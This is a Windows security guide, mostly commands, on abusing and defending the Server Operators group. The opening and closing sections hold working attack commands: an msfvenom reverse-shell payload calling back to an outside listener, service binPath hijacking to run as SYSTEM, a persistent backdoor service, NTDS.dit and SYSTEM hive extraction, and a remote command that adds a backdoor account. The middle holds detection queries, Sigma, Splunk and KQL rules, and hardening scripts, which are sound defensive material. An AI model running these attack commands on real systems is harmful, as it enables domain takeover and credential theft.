Server Operators Group Exploitation and Defense

# Check Server Operators group members
Get-ADGroupMember -Identity "Server Operators"

# Verify user is member of Server Operators
whoami /groups | findstr "Server Operators"

# List privileges for current user
whoami /priv

# Generate reverse shell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.50 LPORT=443 -f exe -o revshell.exe

# Upload to target
copy revshell.exe \\DC01\C$\ProgramData\revshell.exe

# Modify service to execute reverse shell
sc config AppReadiness binPath= "C:\ProgramData\revshell.exe"

# Start service (payload executes as SYSTEM)
sc start AppReadiness

# Create new service depending on existing service
sc create BackdoorSvc binPath= "C:\Tools\beacon.exe" start= auto
sc config BackdoorSvc depend= "AppReadiness"

# When AppReadiness starts, BackdoorSvc starts as well

# Modify service to run as specific account
sc config AppReadiness obj= "DOMAIN\service_account" password= "ServiceP@ss!"

# Service now runs with domain account privileges

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4719)]]
    </Select>
  </Query>
</QueryList>

<QueryList>
  <Query Id="0" Path="System">
    <Select Path="System">
      *[System[(EventID=7040)]]
      and
      *[EventData[Data[@Name='param3']='demand start' or Data[@Name='param3']='auto start']]
    </Select>
  </Query>
</QueryList>

# Query for new service installations
Get-WinEvent -FilterHashtable @{LogName='System';ID=7045} |
  Select-Object TimeCreated, @{N='ServiceName';E={$_.Properties[0].Value}}, @{N='ImagePath';E={$_.Properties[1].Value}}, @{N='Account';E={$_.Properties[4].Value}}

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4732)]]
      and
      *[EventData[Data[@Name='TargetUserName']='Administrators']]
    </Select>
  </Query>
</QueryList>

# Track Server Operators logons to DCs
$ServerOps = Get-ADGroupMember -Identity "Server Operators" | Select-Object -ExpandProperty SamAccountName
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} |
  Where-Object {$ServerOps -contains $_.Properties[5].Value -and $_.Properties[11].Value -like "*DC*"} |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[5].Value}}, @{N='LogonType';E={$_.Properties[8].Value}}, @{N='Source';E={$_.Properties[18].Value}}

# Create baseline of legitimate service configurations
Get-WmiObject Win32_Service |
  Select-Object Name, DisplayName, PathName, StartMode, StartName, State |
  Export-Csv -Path "C:\Baseline\Services_Baseline.csv" -NoTypeInformation

# Schedule daily comparison
Function Compare-ServiceBaseline {
    $baseline = Import-Csv -Path "C:\Baseline\Services_Baseline.csv"
    $current = Get-WmiObject Win32_Service | Select-Object Name, PathName, StartMode, StartName

    foreach ($service in $current) {
        $baselineService = $baseline | Where-Object {$_.Name -eq $service.Name}

        if ($baselineService -and $baselineService.PathName -ne $service.PathName) {
            Write-Warning "Service modified: $($service.Name)"
            Write-Warning "  Baseline: $($baselineService.PathName)"
            Write-Warning "  Current:  $($service.PathName)"

            # Send alert
            $alert = @{
                Service = $service.Name
                BaselinePath = $baselineService.PathName
                CurrentPath = $service.PathName
                Timestamp = Get-Date
            }
            $alert | Export-Csv -Path "C:\Alerts\ServiceModifications.csv" -Append -NoTypeInformation
        }
    }
}

# Monitor service configuration changes in real-time
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Service'"

Register-WmiEvent -Query $query -SourceIdentifier "ServiceMonitor" -Action {
    $service = $Event.SourceEventArgs.NewEvent.TargetInstance
    $oldPath = $Event.SourceEventArgs.NewEvent.PreviousInstance.PathName
    $newPath = $service.PathName

    if ($oldPath -ne $newPath) {
        Write-Warning "Service $($service.Name) binary path changed from '$oldPath' to '$newPath'"
    }
}

# Server Operators privilege escalation detection
index=windows (EventCode=4732 OR EventCode=7040 OR EventCode=4624)
| eval GroupAdd=if(EventCode=4732 AND TargetUserName="Administrators", 1, 0)
| eval ServiceMod=if(EventCode=7040, 1, 0)
| eval ServerOpLogon=if(EventCode=4624 AND match(TargetUserName, "server_ops|server_adm"), 1, 0)
| transaction host maxspan=10m
| where GroupAdd=1 AND ServiceMod=1
| table _time, host, SubjectUserName, TargetUserName, ServiceName, Action

title: Server Operators Service Modification for Privilege Escalation
status: experimental
description: Detects service binary path modification followed by local admin group addition
logsource:
  product: windows
  service: system
detection:
  selection_service:
    EventID: 7040
  selection_group:
    EventID: 4732
    TargetUserName: 'Administrators'
  timeframe: 10m
  condition: selection_service and selection_group
falsepositives:
  - Legitimate administrative activities
  - Automated deployment tools
level: high
tags:
  - attack.privilege_escalation
  - attack.t1543.003

// Server Operators exploitation detection
let ServerOpsMembers = IdentityInfo
| where GroupMembership has "Server Operators"
| distinct AccountName;
let ServiceMods = SecurityEvent
| where TimeGenerated > ago(15m)
| where EventID == 7040
| where SubjectUserName in (ServerOpsMembers)
| project TimeGenerated, Computer, SubjectUserName, ServiceName;
let GroupAdds = SecurityEvent
| where TimeGenerated > ago(15m)
| where EventID == 4732
| where TargetUserName == "Administrators"
| project TimeGenerated, Computer, MemberName, SubjectUserName;
ServiceMods
| join kind=inner (GroupAdds) on Computer
| where TimeGenerated - TimeGenerated1 between (0min .. 10min)
| project TimeGenerated, Computer, SubjectUserName, ServiceName, MemberName
| summarize Events=make_set(EventID) by Computer, SubjectUserName

# Document legitimate use cases for Server Operators
# If no legitimate need exists, keep group empty

# Implement approval workflow for membership changes
Function Request-ServerOperatorsAccess {
    param(
        [string]$Username,
        [string]$Justification,
        [string]$Approver
    )

    # Create approval request
    $request = @{
        Timestamp = Get-Date
        Username = $Username
        Justification = $Justification
        Approver = $Approver
        Status = "Pending"
    }

    $request | Export-Csv -Path "C:\Requests\ServerOpsAccess.csv" -Append -NoTypeInformation

    # Send approval email
    Send-MailMessage -To $Approver -Subject "Server Operators Access Request" -Body "User $Username requests Server Operators access. Justification: $Justification"
}

# Quarterly access review
Function Invoke-ServerOpsAccessReview {
    $members = Get-ADGroupMember -Identity "Server Operators"
    $report = $members | Select-Object Name, SamAccountName, @{N='LastLogon';E={(Get-ADUser $_.SamAccountName -Properties LastLogonDate).LastLogonDate}}

    $report | Export-Csv -Path "C:\Reports\ServerOps_AccessReview_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation

    # Send for manager review
    Send-MailMessage -To "[email protected]" -Subject "Server Operators Quarterly Review" -Attachments "C:\Reports\ServerOps_AccessReview_*.csv"
}

# Remove Server Operators from service permissions (if not needed)
# This requires modifying default security descriptors

# Query current service security
sc sdshow AppReadiness

# Modify service security descriptor to remove Server Operators
# WARNING: This can break legitimate functionality

# Alternative: Monitor service changes instead of preventing them

# Enable service modification auditing
auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enable
auditpol /set /subcategory:"System Integrity" /success:enable /failure:enable

# Configure via Group Policy
# Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy
# "Audit Security System Extension" = Success and Failure
# "Audit System Integrity" = Success and Failure

# Monitor service configuration files
$servicePaths = Get-WmiObject Win32_Service | Select-Object -ExpandProperty PathName -Unique

# Create file system watcher for service binaries
foreach ($path in $servicePaths) {
    $cleanPath = ($path -split " ")[0].Trim('"')
    if (Test-Path $cleanPath) {
        # Implement FIM for each service binary
        # Tools: Tripwire, AIDE, OSSEC
    }
}

# Remove Server Operators from DC logon rights (if not needed)
# Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment
# "Allow log on locally" = Remove "Server Operators"
# "Deny log on locally" = Add "Server Operators" (if appropriate)

# Apply to Domain Controllers OU
New-GPO -Name "Restrict DC Logons" | New-GPLink -Target "OU=Domain Controllers,DC=corp,DC=local"

# Create time-limited Server Operators membership
Function Grant-TemporaryServerOpsAccess {
    param(
        [string]$Username,
        [int]$DurationHours = 4,
        [string]$Ticket
    )

    # Add to Server Operators
    Add-ADGroupMember -Identity "Server Operators" -Members $Username

    # Log the grant
    @{
        Timestamp = Get-Date
        User = $Username
        Duration = $DurationHours
        Ticket = $Ticket
        GrantedBy = $env:USERNAME
    } | Export-Csv -Path "C:\Logs\ServerOpsAccess.csv" -Append -NoTypeInformation

    # Schedule automatic removal
    $removalTime = (Get-Date).AddHours($DurationHours)
    $action = {
        param($user)
        Remove-ADGroupMember -Identity "Server Operators" -Members $user -Confirm:$false
        Write-EventLog -LogName Application -Source "ServerOpsManager" -EventId 1001 -Message "Removed $user from Server Operators (time-limited access expired)"
    }

    $trigger = New-JobTrigger -Once -At $removalTime
    Register-ScheduledJob -Name "RemoveServerOps_$Username" -Trigger $trigger -ScriptBlock $action -ArgumentList $Username
}

# Implement Zero Standing Privilege (ZSP) model
# Keep Server Operators empty by default
# Grant access only when needed via JIT

# Automated compliance checking
Function Test-ServerOpsCompliance {
    param([string[]]$AuthorizedMembers = @())

    $current = Get-ADGroupMember -Identity "Server Operators" | Select-Object -ExpandProperty SamAccountName
    $unauthorized = $current | Where-Object {$_ -notin $AuthorizedMembers}

    if ($unauthorized) {
        Write-Error "COMPLIANCE VIOLATION: Unauthorized Server Operators members detected"
        $unauthorized | ForEach-Object {Write-Error "  - $_"}

        # Automated remediation (with approval)
        foreach ($member in $unauthorized) {
            Remove-ADGroupMember -Identity "Server Operators" -Members $member -Confirm:$true
        }

        # Alert security team
        Send-MailMessage -To "[email protected]" -Subject "Server Operators Compliance Alert" -Body "Unauthorized members: $($unauthorized -join ', ')"

        return $false
    }

    return $true
}

# Schedule hourly compliance checks
$trigger = New-JobTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1) -RepetitionDuration ([TimeSpan]::MaxValue)
Register-ScheduledJob -Name "ServerOpsComplianceCheck" -Trigger $trigger -ScriptBlock ${Function:Test-ServerOpsCompliance}

# Create and maintain service configuration baselines
Function New-ServiceBaseline {
    Get-WmiObject Win32_Service |
      Select-Object Name, PathName, StartMode, StartName, State, Description |
      Export-Csv -Path "C:\Baseline\Services_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation

    # Create hash of baseline for integrity verification
    $hash = Get-FileHash -Path "C:\Baseline\Services_$(Get-Date -Format 'yyyyMMdd').csv" -Algorithm SHA256
    $hash | Export-Csv -Path "C:\Baseline\Services_Hash.csv" -NoTypeInformation
}

# Real-time service protection using WMI events
Function Enable-ServiceProtection {
    $query = @"
    SELECT * FROM __InstanceModificationEvent WITHIN 2
    WHERE TargetInstance ISA 'Win32_Service'
    AND TargetInstance.PathName <> PreviousInstance.PathName
"@

    Register-WmiEvent -Query $query -SourceIdentifier "ServiceProtection" -Action {
        $service = $Event.SourceEventArgs.NewEvent.TargetInstance
        $oldPath = $Event.SourceEventArgs.NewEvent.PreviousInstance.PathName

        Write-Warning "ALERT: Service $($service.Name) binary path changed!"
        Write-Warning "  Old: $oldPath"
        Write-Warning "  New: $($service.PathName)"

        # Log to SIEM
        Write-EventLog -LogName Application -Source "ServiceProtection" -EventId 2001 -EntryType Warning -Message "Service $($service.Name) modified. Old path: $oldPath, New path: $($service.PathName)"

        # Optional: Automatic revert (dangerous - test thoroughly)
        # sc config $($service.Name) binPath= $oldPath
    }
}

# Instead of Server Operators, create custom groups with specific permissions

# Example: Create "Printer Managers" group
New-ADGroup -Name "Printer Managers" -GroupScope Global -GroupCategory Security -Description "Manage print services only"

# Grant only print service permissions (via GPO or service ACLs)
# Do NOT grant SeBackupPrivilege or local logon to DCs

# Example: Create "Service Restart" group for specific services
New-ADGroup -Name "Service Restart - WebApps" -GroupScope Global -GroupCategory Security

# Grant only START and STOP permissions on specific services
# Use sc sdset or Set-Service with custom security descriptors

# Centralized monitoring script
Function Start-ServerOpsMonitoring {
    while ($true) {
        # Monitor group membership
        $members = Get-ADGroupMember -Identity "Server Operators"
        if ($members.Count -gt 0) {
            Write-Warning "Server Operators has $($members.Count) members"
            $members | ForEach-Object {Write-Warning "  - $($_.Name)"}
        }

        # Monitor service modifications
        $serviceEvents = Get-WinEvent -FilterHashtable @{LogName='System';ID=7040;StartTime=(Get-Date).AddMinutes(-5)} -ErrorAction SilentlyContinue
        if ($serviceEvents) {
            foreach ($event in $serviceEvents) {
                $serviceName = $event.Properties[0].Value
                $user = $event.Properties[3].Value
                Write-Warning "Service '$serviceName' modified by $user"
            }
        }

        # Monitor local admin changes
        $adminEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4732;StartTime=(Get-Date).AddMinutes(-5)} -ErrorAction SilentlyContinue |
          Where-Object {$_.Message -like "*Administrators*"}

        if ($adminEvents) {
            foreach ($event in $adminEvents) {
                Write-Error "Local Administrators group modified!"
                Write-Error "  Member added: $($event.Properties[0].Value)"
            }
        }

        Start-Sleep -Seconds 60
    }
}

# Run in background
Start-Job -ScriptBlock ${Function:Start-ServerOpsMonitoring} -Name "ServerOpsMonitor"

# Using SeBackupPrivilege to copy protected files
diskshadow /s backup.txt

# backup.txt contents:
# set context persistent nowriters
# add volume c: alias vss
# create
# expose %vss% z:
# exit

# Copy NTDS.dit using backup semantics
robocopy /b z:\Windows\NTDS c:\Temp ntds.dit
robocopy /b z:\Windows\System32\config c:\Temp SYSTEM

# Modify services on remote servers (if permissions allow)
sc \\FILESERVER01 config "Service Name" binPath= "cmd /c net user backdoor P@ss! /add"
sc \\FILESERVER01 start "Service Name"